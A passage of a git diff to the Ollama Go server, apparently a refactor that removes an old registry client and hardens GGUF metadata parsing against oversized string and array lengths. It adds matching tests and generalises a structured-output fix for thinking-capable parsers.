slog.New(slog.NewTextHandler(&buf, nil)) - return lg, &buf -} - -// Check calls t.Fatal(err) if err is not nil. -func Check(t *testing.T, err error) { - if err != nil { - t.Helper() - t.Fatal(err) - } -} - -// CheckFunc exists so other packages do not need to invent their own type for -// taking a Check function. -type CheckFunc func(err error) - -// Checker returns a check function that -// calls t.Fatal if err is not nil. -func Checker(t *testing.T) (check func(err error)) { - return func(err error) { - if err != nil { - t.Helper() - t.Fatal(err) - } - } -} - -// StopPanic runs f but silently recovers from any panic f causes. -// The normal usage is: -// -// testutil.StopPanic(func() { -// callThatShouldPanic() -// t.Errorf("callThatShouldPanic did not panic") -// }) -func StopPanic(f func()) { - defer func() { recover() }() - f() -} - -// CheckTime calls t.Fatalf if got != want. Included in the error message is -// want.Sub(got) to help diagnose the difference, along with their values in -// UTC. -func CheckTime(t *testing.T, got, want time.Time) { - t.Helper() - if !got.Equal(want) { - t.Fatalf("got %v, want %v (%v)", got.UTC(), want.UTC(), want.Sub(got)) - } -} - -// WriteFile writes data to a file named name. It makes the directory if it -// doesn't exist and sets the file mode to perm. -// -// The name must be a relative path and must not contain .. or start with a /; -// otherwise WriteFile will panic. -func WriteFile[S []byte | string](t testing.TB, name string, data S) { - t.Helper() - - if filepath.IsAbs(name) { - t.Fatalf("WriteFile: name must be a relative path, got %q", name) - } - name = filepath.Clean(name) - dir := filepath.Dir(name) - if err := os.MkdirAll(dir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(name, []byte(data), 0o644); err != nil { - t.Fatal(err) - } -} diff --git a/server/model_list_cache.go b/server/model_list_cache.go index 1069afdc5..b110659d4 100644 --- a/server/model_list_cache.go +++ b/server/model_list_cache.go @@ -17,6 +17,7 @@ import ( "github.com/ollama/ollama/api" "github.com/ollama/ollama/fs/ggml" + fsgguf "github.com/ollama/ollama/fs/gguf" "github.com/ollama/ollama/manifest" "github.com/ollama/ollama/model/parsers" ollamatemplate "github.com/ollama/ollama/template" @@ -707,6 +708,10 @@ func skipModelListGGUFValue(r io.Reader, byteOrder binary.ByteOrder, version uin } func skipModelListGGUFArray(r io.Reader, byteOrder binary.ByteOrder, version uint32, arrayType uint32, count uint64) error { + if _, err := checkedModelListGGUFLength(count, "array size", fsgguf.MaxArraySize); err != nil { + return err + } + var size uint64 switch arrayType { case modelListGGUFTypeUint8, modelListGGUFTypeInt8, modelListGGUFTypeBool: @@ -727,6 +732,10 @@ func skipModelListGGUFArray(r io.Reader, byteOrder binary.ByteOrder, version uin default: return fmt.Errorf("unsupported gguf array type %d", arrayType) } + + if count > uint64(maxModelListGGUFInt64())/size { + return fmt.Errorf("gguf array byte length %d*%d exceeds maximum %d", count, size, maxModelListGGUFInt64()) + } return discardModelListGGUFBytes(r, int64(count*size)) } @@ -736,15 +745,16 @@ func readModelListGGUFString(r io.Reader, byteOrder binary.ByteOrder, version ui return "", err } - if length == 0 { - return "", nil + n, err := checkedModelListGGUFLength(length, "string", fsgguf.MaxStringLength) + if err != nil { + return "", err } - bts := make([]byte, length) + bts := make([]byte, n) if _, err := io.ReadFull(r, bts); err != nil { return "", err } - if version == 1 && bts[len(bts)-1] == 0 { + if version == 1 && len(bts) > 0 && bts[len(bts)-1] == 0 { bts = bts[:len(bts)-1] } return string(bts), nil @@ -755,7 +765,12 @@ func skipModelListGGUFString(r io.Reader, byteOrder binary.ByteOrder, version ui if err := binary.Read(r, byteOrder, &length); err != nil { return err } - return discardModelListGGUFBytes(r, int64(length)) + + n, err := checkedModelListGGUFLength(length, "string", fsgguf.MaxStringLength) + if err != nil { + return err + } + return discardModelListGGUFBytes(r, int64(n)) } func discardModelListGGUFBytes(r io.Reader, n int64) error { @@ -766,6 +781,24 @@ func discardModelListGGUFBytes(r io.Reader, n int64) error { return err } +func checkedModelListGGUFLength(n uint64, kind string, max uint64) (int, error) { + if n > uint64(maxModelListGGUFInt()) { + return 0, fmt.Errorf("gguf %s %d exceeds maximum %d", kind, n, maxModelListGGUFInt()) + } + if n > max { + return 0, fmt.Errorf("gguf %s %d exceeds maximum %d", kind, n, max) + } + return int(n), nil +} + +func maxModelListGGUFInt() int { + return int(^uint(0) >> 1) +} + +func maxModelListGGUFInt64() int64 { + return 1<<63 - 1 +} + func appendModelListCapabilities(capabilities []model.Capability, values ...model.Capability) []model.Capability { for _, capability := range values { capabilities = appendModelListCapability(capabilities, capability) diff --git a/server/model_list_cache_test.go b/server/model_list_cache_test.go index 1f40c7b3e..047ecd813 100644 --- a/server/model_list_cache_test.go +++ b/server/model_list_cache_test.go @@ -1,15 +1,20 @@ package server import ( + "bytes" "context" + "encoding/binary" "errors" "net/http" + "os" "slices" + "strings" "testing" "github.com/gin-gonic/gin" "github.com/ollama/ollama/api" + fsgguf "github.com/ollama/ollama/fs/gguf" "github.com/ollama/ollama/manifest" "github.com/ollama/ollama/types/model" ) @@ -218,6 +223,67 @@ func TestModelListCacheSyncDropsStaleEntryOnRefreshFailure(t *testing.T) { } } +func TestReadModelListGGUFRejectsMalformedMetadata(t *testing.T) { + cases := []struct { + name string + data []byte + want string + }{ + { + name: "oversized key string", + data: modelListGGUFTestFile(func(b *bytes.Buffer) { + writeModelListGGUFHeader(t, b, 1) + writeModelListGGUFUint64(t, b, fsgguf.MaxStringLength+1) + }), + want: "string", + }, + { + name: "oversized skipped string", + data: modelListGGUFTestFile(func(b *bytes.Buffer) { + writeModelListGGUFHeader(t, b, 1) + writeModelListGGUFString(t, b, "unused") + writeModelListGGUFUint32(t, b, modelListGGUFTypeString) + writeModelListGGUFUint64(t, b, fsgguf.MaxStringLength+1) + }), + want: "string", + }, + { + name: "oversized skipped array", + data: modelListGGUFTestFile(func(b *bytes.Buffer) { + writeModelListGGUFHeader(t, b, 1) + writeModelListGGUFString(t, b, "unused") + writeModelListGGUFUint32(t, b, modelListGGUFTypeArray) + writeModelListGGUFUint32(t, b, modelListGGUFTypeUint8) + writeModelListGGUFUint64(t, b, fsgguf.MaxArraySize+1) + }), + want: "array size", + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + defer func() { + if r := recover(); r != nil { + t.Fatalf("readModelListGGUF panicked: %v", r) + } + }() + + path := t.TempDir() + "/model.gguf" + if err := os.WriteFile(path, tt.data, 0o600); err != nil { + t.Fatal(err) + } + + _, err := readModelListGGUF(path) + if err == nil { + t.Fatal("expected error") + } + if !strings.Contains(err.Error(), tt.want) { + t.Fatalf("error = %v, want substring %q", err, tt.want) + } + }) + } +} + func createListCacheModel(t *testing.T, name string, kv map[string]any, tmpl string) { t.Helper() _, digest := createBinFile(t, kv, nil) @@ -237,3 +303,39 @@ func createListCacheModel(t *testing.T, name string, kv map[string]any, tmpl str t.Fatalf("create model status = %d, want 200: %s", w.Code, w.Body.String()) } } + +func modelListGGUFTestFile(fn func(*bytes.Buffer)) []byte { + var b bytes.Buffer + fn(&b) + return b.Bytes() +} + +func writeModelListGGUFHeader(t *testing.T, b *bytes.Buffer, numKV uint64) { + t.Helper() + writeModelListGGUFUint32(t, b, modelListGGUFMagicLE) + writeModelListGGUFUint32(t, b, 3) + writeModelListGGUFUint64(t, b, 0) + writeModelListGGUFUint64(t, b, numKV) +} + +func writeModelListGGUFString(t *testing.T, b *bytes.Buffer, s string) { + t.Helper() + writeModelListGGUFUint64(t, b, uint64(len(s))) + if _, err := b.WriteString(s); err != nil { + t.Fatal(err) + } +} + +func writeModelListGGUFUint32(t *testing.T, b *bytes.Buffer, v uint32) { + t.Helper() + if err := binary.Write(b, binary.LittleEndian, v); err != nil { + t.Fatal(err) + } +} + +func writeModelListGGUFUint64(t *testing.T, b *bytes.Buffer, v uint64) { + t.Helper() + if err := binary.Write(b, binary.LittleEndian, v); err != nil { + t.Fatal(err) + } +} diff --git a/server/model_recommendations_test.go b/server/model_recommendations_test.go index a918e5172..67e0d6f46 100644 --- a/server/model_recommendations_test.go +++ b/server/model_recommendations_test.go @@ -360,7 +360,7 @@ func TestModelRecommendationsRouteRegistration(t *testing.T) { cache.set([]api.ModelRecommendation{{Model: "route-model", Description: "route description"}}) s := &Server{modelCaches: &modelCaches{recommendations: cache}} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatalf("GenerateRoutes failed: %v", err) } diff --git a/server/model_show_cache_test.go b/server/model_show_cache_test.go index 04bab53ba..70312d648 100644 --- a/server/model_show_cache_test.go +++ b/server/model_show_cache_test.go @@ -323,7 +323,7 @@ func TestModelShowCacheCloudColdMissFallsBackToProxy(t *testing.T) { withCloudProxyBaseURL(t, upstream.URL) s := &Server{modelCaches: &modelCaches{show: newModelShowCache()}} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatalf("GenerateRoutes failed: %v", err) } diff --git a/server/routes.go b/server/routes.go index 05fb138d5..fba700afe 100644 --- a/server/routes.go +++ b/server/routes.go @@ -44,8 +44,6 @@ import ( "github.com/ollama/ollama/middleware" "github.com/ollama/ollama/model/parsers" "github.com/ollama/ollama/model/renderers" - "github.com/ollama/ollama/server/internal/client/ollama" - "github.com/ollama/ollama/server/internal/registry" "github.com/ollama/ollama/template" "github.com/ollama/ollama/thinking" "github.com/ollama/ollama/tools" @@ -1833,7 +1831,7 @@ func allowedHostsMiddleware(addr net.Addr) gin.HandlerFunc { } } -func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) { +func (s *Server) GenerateRoutes() (http.Handler, error) { corsConfig := cors.DefaultConfig() corsConfig.AllowWildcard = true corsConfig.AllowBrowserExtensions = true @@ -1923,18 +1921,6 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) { // Inference (Anthropic compatibility) r.POST("/v1/messages", s.withInferenceRequestLogging("/v1/messages", cloudPassthroughMiddleware(cloudErrRemoteInferenceUnavailable), middleware.AnthropicMessagesMiddleware(), s.ChatHandler)...) - if rc != nil { - // wrap old with new - rs := ®istry.Local{ - Client: rc, - Logger: slog.Default(), // TODO(bmizerany): Take a logger, do not use slog.Default() - Fallback: r, - - Prune: PruneLayers, - } - return rs, nil - } - return r, nil } @@ -1998,16 +1984,11 @@ func Serve(ln net.Listener) error { return err } - var rc *ollama.Registry if useClient2 { - var err error - rc, err = ollama.DefaultRegistry() - if err != nil { - return err - } + slog.Warn("OLLAMA_EXPERIMENT=client2 is no longer available. Please remove this environment.") } - h, err := s.GenerateRoutes(rc) + h, err := s.GenerateRoutes() if err != nil { return err } @@ -2790,9 +2771,7 @@ func (s *Server) ChatHandler(c *gin.Context) { // current approach uses the transition from parsed thinking content to // parsed non-thinking content as the signal to turn constraining on - // TODO(parthsareen): temporary fix for https://github.com/ollama/ollama/issues/15260. - // To revisit for other models and have a consistent pattern across models through parsers. - forceImmediate := m.Config.Parser == "gemma4" && req.Think != nil && !req.Think.Bool() + forceImmediate := builtinParser != nil && builtinParser.HasThinkingSupport() && req.Think != nil && !req.Think.Bool() if req.Format != nil && structuredOutputsState == structuredOutputsState_None && !forceImmediate && ((builtinParser != nil || thinkingState != nil) && slices.Contains(m.Capabilities(), model.CapabilityThinking)) { currentFormat = nil } diff --git a/server/routes_cloud_test.go b/server/routes_cloud_test.go index 3d0d2f988..42ef9cd12 100644 --- a/server/routes_cloud_test.go +++ b/server/routes_cloud_test.go @@ -219,7 +219,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -270,7 +270,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -313,7 +313,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -356,7 +356,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -399,7 +399,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -442,7 +442,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -498,7 +498,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -554,7 +554,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -605,7 +605,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -656,7 +656,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -723,7 +723,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -770,7 +770,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -816,7 +816,7 @@ func TestExplicitCloudPassthroughAPIAndV1(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -851,7 +851,7 @@ func TestCloudDisabledBlocksExplicitCloudPassthrough(t *testing.T) { t.Setenv("OLLAMA_NO_CLOUD", "1") s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -912,7 +912,7 @@ func TestCloudPassthroughStreamsPromptly(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -1096,7 +1096,7 @@ func TestCloudPassthroughSigningFailureReturnsUnauthorized(t *testing.T) { }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -1154,7 +1154,7 @@ func TestCloudPassthroughSigningFailureWithoutSigninURL(t *testing.T) { }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } diff --git a/server/routes_create_test.go b/server/routes_create_test.go index 1a6205b7b..01705d273 100644 --- a/server/routes_create_test.go +++ b/server/routes_create_test.go @@ -102,6 +102,58 @@ func createRequest(t *testing.T, fn func(*gin.Context), body any) *httptest.Resp return w.ResponseRecorder } +func TestCreateHandlerRejectsInvalidInfoTypes(t *testing.T) { + gin.SetMode(gin.TestMode) + + testCases := []struct { + name string + info map[string]any + err string + }{ + { + name: "string_field", + info: map[string]any{ + "model_family": float64(1), + }, + err: "model_family", + }, + { + name: "fractional_integer_field", + info: map[string]any{ + "context_length": 1.5, + }, + err: "context_length", + }, + } + + for _, tt := range testCases { + t.Run(tt.name, func(t *testing.T) { + var s Server + _, digest := createBinFile(t, nil, nil) + w := createRequest(t, s.CreateHandler, api.CreateRequest{ + Model: "test-create-invalid-info", + Files: map[string]string{ + "test.gguf": digest, + }, + Info: tt.info, + Stream: &stream, + }) + + if w.Code != http.StatusBadRequest { + t.Fatalf("expected status code 400, got %d", w.Code) + } + + var resp map[string]string + if err := json.NewDecoder(w.Body).Decode(&resp); err != nil { + t.Fatal(err) + } + if got := resp["error"]; !strings.Contains(got, tt.err) { + t.Fatalf("expected %s error, got %q", tt.err, got) + } + }) + } +} + func readCreatedModelConfig(t *testing.T, name string) model.ConfigV2 { t.Helper() diff --git a/server/routes_generate_test.go b/server/routes_generate_test.go index 9dd5f1864..789e43fb2 100644 --- a/server/routes_generate_test.go +++ b/server/routes_generate_test.go @@ -2811,128 +2811,131 @@ func TestChatWithPromptEndingInThinkTag(t *testing.T) { } // TestChatFormatWithThinkFalse verifies that when a model uses a builtin -// parser that supports thinking (e.g. gemma4) and the request explicitly -// disables thinking (think=false), the format constraint is passed to the -// first and only completion call. Previously, format was deferred for all -// thinking-capable parsers and only re-applied after an end-of-thinking -// transition — a transition that never fires when thinking is off. See -// https://github.com/ollama/ollama/issues/15260. +// parser that supports thinking and the request explicitly disables thinking +// (think=false), the format constraint is passed to the first and only +// completion call. Previously, format was deferred for all thinking-capable +// parsers and only re-applied after an end-of-thinking transition -- a +// transition that never fires when thinking is off. See +// https://github.com/ollama/ollama/issues/15260 and +// https://github.com/ollama/ollama/issues/14645. func TestChatFormatWithThinkFalse(t *testing.T) { gin.SetMode(gin.TestMode) - mock := &mockRunner{ - CompletionResponse: llm.CompletionResponse{ - Done: true, - DoneReason: llm.DoneReasonStop, - PromptEvalCount: 1, - PromptEvalDuration: 1, - EvalCount: 1, - EvalDuration: 1, - }, - } + for _, parserName := range []string{"gemma4", "qwen3.5", "qwen3-thinking"} { + t.Run(parserName, func(t *testing.T) { + mock := &mockRunner{ + CompletionResponse: llm.CompletionResponse{ + Done: true, + DoneReason: llm.DoneReasonStop, + PromptEvalCount: 1, + PromptEvalDuration: 1, + EvalCount: 1, + EvalDuration: 1, + }, + } - s := &Server{ - sched: &Scheduler{ - pendingReqCh: make(chan *LlmRequest, 1), - finishedReqCh: make(chan *LlmRequest, 1), - expiredCh: make(chan *runnerRef, 1), - unloadedCh: make(chan any, 1), - loaded: make(map[string]*runnerRef), - newServerFn: newMockServer(mock), - getGpuFn: getGpuFn, - getSystemInfoFn: getSystemInfoFn, - waitForRecovery: 250 * time.Millisecond, - loadFn: func(req *LlmRequest, _ ml.SystemInfo, _ []ml.DeviceInfo, _ bool) bool { - time.Sleep(time.Millisecond) - req.successCh <- &runnerRef{llama: mock} - return false - }, - }, - } + s := &Server{ + sched: &Scheduler{ + pendingReqCh: make(chan *LlmRequest, 1), + finishedReqCh: make(chan *LlmRequest, 1), + expiredCh: make(chan *runnerRef, 1), + unloadedCh: make(chan any, 1), + loaded: make(map[string]*runnerRef), + newServerFn: newMockServer(mock), + getGpuFn: getGpuFn, + getSystemInfoFn: getSystemInfoFn, + waitForRecovery: 250 * time.Millisecond, + loadFn: func(req *LlmRequest, _ ml.SystemInfo, _ []ml.DeviceInfo, _ bool) bool { + time.Sleep(time.Millisecond) + req.successCh <- &runnerRef{llama: mock} + return false + }, + }, + } - go s.sched.Run(t.Context()) + go s.sched.Run(t.Context()) - _, digest := createBinFile(t, ggml.KV{ - "general.architecture": "llama", - "llama.block_count": uint32(1), - "llama.context_length": uint32(8192), - "llama.embedding_length": uint32(4096), - "llama.attention.head_count": uint32(32), - "llama.attention.head_count_kv": uint32(8), - "tokenizer.ggml.tokens": []string{""}, - "tokenizer.ggml.scores": []float32{0}, - "tokenizer.ggml.token_type": []int32{0}, - }, []*ggml.Tensor{ - {Name: "token_embd.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.attn_norm.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.ffn_down.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.ffn_gate.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.ffn_up.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.ffn_norm.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.attn_k.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.attn_output.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.attn_q.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "blk.0.attn_v.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - {Name: "output.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, - }) + _, digest := createBinFile(t, ggml.KV{ + "general.architecture": "llama", + "llama.block_count": uint32(1), + "llama.context_length": uint32(8192), + "llama.embedding_length": uint32(4096), + "llama.attention.head_count": uint32(32), + "llama.attention.head_count_kv": uint32(8), + "tokenizer.ggml.tokens": []string{""}, + "tokenizer.ggml.scores": []float32{0}, + "tokenizer.ggml.token_type": []int32{0}, + }, []*ggml.Tensor{ + {Name: "token_embd.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.attn_norm.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.ffn_down.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.ffn_gate.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.ffn_up.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.ffn_norm.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.attn_k.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.attn_output.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.attn_q.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "blk.0.attn_v.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + {Name: "output.weight", Shape: []uint64{1}, WriterTo: bytes.NewReader(make([]byte, 4))}, + }) - // Use the gemma4 builtin parser — it reports HasThinkingSupport=true, which - // adds CapabilityThinking to the model and previously triggered deferral of - // the format even when the user passed think=false. - w := createRequest(t, s.CreateHandler, api.CreateRequest{ - Model: "test-gemma4-parser", - Files: map[string]string{"file.gguf": digest}, - Parser: "gemma4", - Template: `{{- range .Messages }}{{ .Role }}: {{ .Content }}{{ end }}`, - Stream: &stream, - }) - if w.Code != http.StatusOK { - t.Fatalf("create: expected status 200, got %d: %s", w.Code, w.Body.String()) - } + modelName := "test-" + parserName + "-parser" + w := createRequest(t, s.CreateHandler, api.CreateRequest{ + Model: modelName, + Files: map[string]string{"file.gguf": digest}, + Parser: parserName, + Template: `{{- range .Messages }}{{ .Role }}: {{ .Content }}{{ end }}`, + Stream: &stream, + }) + if w.Code != http.StatusOK { + t.Fatalf("create: expected status 200, got %d: %s", w.Code, w.Body.String()) + } - format := json.RawMessage(`{"type":"object","properties":{"answer":{"type":"string"}},"required":["answer"]}`) + format := json.RawMessage(`{"type":"object","properties":{"answer":{"type":"string"}},"required":["answer"]}`) - var ( - requestsMu sync.Mutex - requests []llm.CompletionRequest - ) - mock.CompletionFn = func(ctx context.Context, r llm.CompletionRequest, fn func(r llm.CompletionResponse)) error { - requestsMu.Lock() - requests = append(requests, r) - requestsMu.Unlock() + var ( + requestsMu sync.Mutex + requests []llm.CompletionRequest + ) + mock.CompletionFn = func(ctx context.Context, r llm.CompletionRequest, fn func(r llm.CompletionResponse)) error { + requestsMu.Lock() + requests = append(requests, r) + requestsMu.Unlock() - fn(llm.CompletionResponse{ - Content: `{"answer":"42"}`, - Done: true, - DoneReason: llm.DoneReasonStop, - PromptEvalCount: 1, - PromptEvalDuration: 1, - EvalCount: 1, - EvalDuration: 1, + fn(llm.CompletionResponse{ + Content: `{"answer":"42"}`, + Done: true, + DoneReason: llm.DoneReasonStop, + PromptEvalCount: 1, + PromptEvalDuration: 1, + EvalCount: 1, + EvalDuration: 1, + }) + return nil + } + + streamRequest := false + think := false + w = createRequest(t, s.ChatHandler, api.ChatRequest{ + Model: modelName, + Messages: []api.Message{{Role: "user", Content: "Respond in JSON."}}, + Think: &api.ThinkValue{Value: think}, + Stream: &streamRequest, + Format: format, + }) + + if w.Code != http.StatusOK { + t.Fatalf("chat: expected status 200, got %d: %s", w.Code, w.Body.String()) + } + + if len(requests) != 1 { + t.Fatalf("expected a single completion call, got %d", len(requests)) + } + + if !bytes.Equal([]byte(format), []byte(requests[0].Format)) { + t.Errorf("expected first completion format to match the request format, got %q", string(requests[0].Format)) + } }) - return nil - } - - streamRequest := false - think := false - w = createRequest(t, s.ChatHandler, api.ChatRequest{ - Model: "test-gemma4-parser", - Messages: []api.Message{{Role: "user", Content: "Respond in JSON."}}, - Think: &api.ThinkValue{Value: think}, - Stream: &streamRequest, - Format: format, - }) - - if w.Code != http.StatusOK { - t.Fatalf("chat: expected status 200, got %d: %s", w.Code, w.Body.String()) - } - - if len(requests) != 1 { - t.Fatalf("expected a single completion call, got %d", len(requests)) - } - - if !bytes.Equal([]byte(format), []byte(requests[0].Format)) { - t.Errorf("expected first completion format to match the request format, got %q", string(requests[0].Format)) } } diff --git a/server/routes_list_test.go b/server/routes_list_test.go index f7b8bd6ee..eb409c8b0 100644 --- a/server/routes_list_test.go +++ b/server/routes_list_test.go @@ -133,7 +133,7 @@ func TestOpenAIListMatchesTagsModels(t *testing.T) { setManifestTime("older-model:latest", older) setManifestTime("newer-model:latest", newer) - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } diff --git a/server/routes_test.go b/server/routes_test.go index 045f8a319..894035e65 100644 --- a/server/routes_test.go +++ b/server/routes_test.go @@ -28,7 +28,6 @@ import ( "github.com/ollama/ollama/fs/ggml" "github.com/ollama/ollama/manifest" "github.com/ollama/ollama/openai" - "github.com/ollama/ollama/server/internal/client/ollama" "github.com/ollama/ollama/types/model" "github.com/ollama/ollama/version" ) @@ -506,22 +505,7 @@ func TestRoutes(t *testing.T) { }, } - rc := &ollama.Registry{ - // This is a temporary measure to allow us to move forward, - // surfacing any code contacting ollama.com we do not intended - // to. - // - // Currently, this only handles DELETE /api/delete, which - // should not make any contact with the ollama.com registry, so - // be clear about that. - // - // Tests that do need to contact the registry here, will be - // consumed into our new server/api code packages and removed - // from here. - HTTPClient: panicOnRoundTrip, - } - - router, err := s.GenerateRoutes(rc) + router, err := s.GenerateRoutes() if err != nil { t.Fatalf("failed to generate routes: %v", err) } @@ -877,7 +861,7 @@ func TestShowCopilotUserAgentOverwritesExistingBasename(t *testing.T) { t.Fatalf("expected status code 200 creating model, actual %d", w.Code) } - h, err := s.GenerateRoutes(nil) + h, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -934,7 +918,7 @@ func TestShowCopilotUserAgentSetsBasenameWhenModelInfoIsEmpty(t *testing.T) { t.Fatalf("expected status code 200 creating model, actual %d", w.Code) } - h, err := s.GenerateRoutes(nil) + h, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } diff --git a/server/routes_web_experimental_test.go b/server/routes_web_experimental_test.go index 60be5f385..8bac9758e 100644 --- a/server/routes_web_experimental_test.go +++ b/server/routes_web_experimental_test.go @@ -79,7 +79,7 @@ func TestExperimentalWebEndpointsPassthrough(t *testing.T) { t.Cleanup(func() { cloudProxyBaseURL = original }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -129,7 +129,7 @@ func TestExperimentalWebEndpointsMissingBody(t *testing.T) { setTestHome(t, t.TempDir()) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -173,7 +173,7 @@ func TestExperimentalWebEndpointsCloudDisabled(t *testing.T) { t.Setenv("OLLAMA_NO_CLOUD", "1") s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -249,7 +249,7 @@ func TestExperimentalWebEndpointSigningFailureReturnsUnauthorized(t *testing.T) }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } @@ -303,7 +303,7 @@ func TestExperimentalWebEndpointSigningFailureWithoutSigninURL(t *testing.T) { }) s := &Server{} - router, err := s.GenerateRoutes(nil) + router, err := s.GenerateRoutes() if err != nil { t.Fatal(err) } diff --git a/x/agent/approval.go b/x/agent/approval.go deleted file mode 100644 index fa1084260..000000000 --- a/x/agent/approval.go +++ /dev/null @@ -1,1125 +0,0 @@ -// Package agent provides agent loop orchestration and tool approval. -package agent - -import ( - "fmt" - "os" - "path" - "path/filepath" - "strings" - "sync" - - "golang.org/x/term" -) - -// ApprovalDecision represents 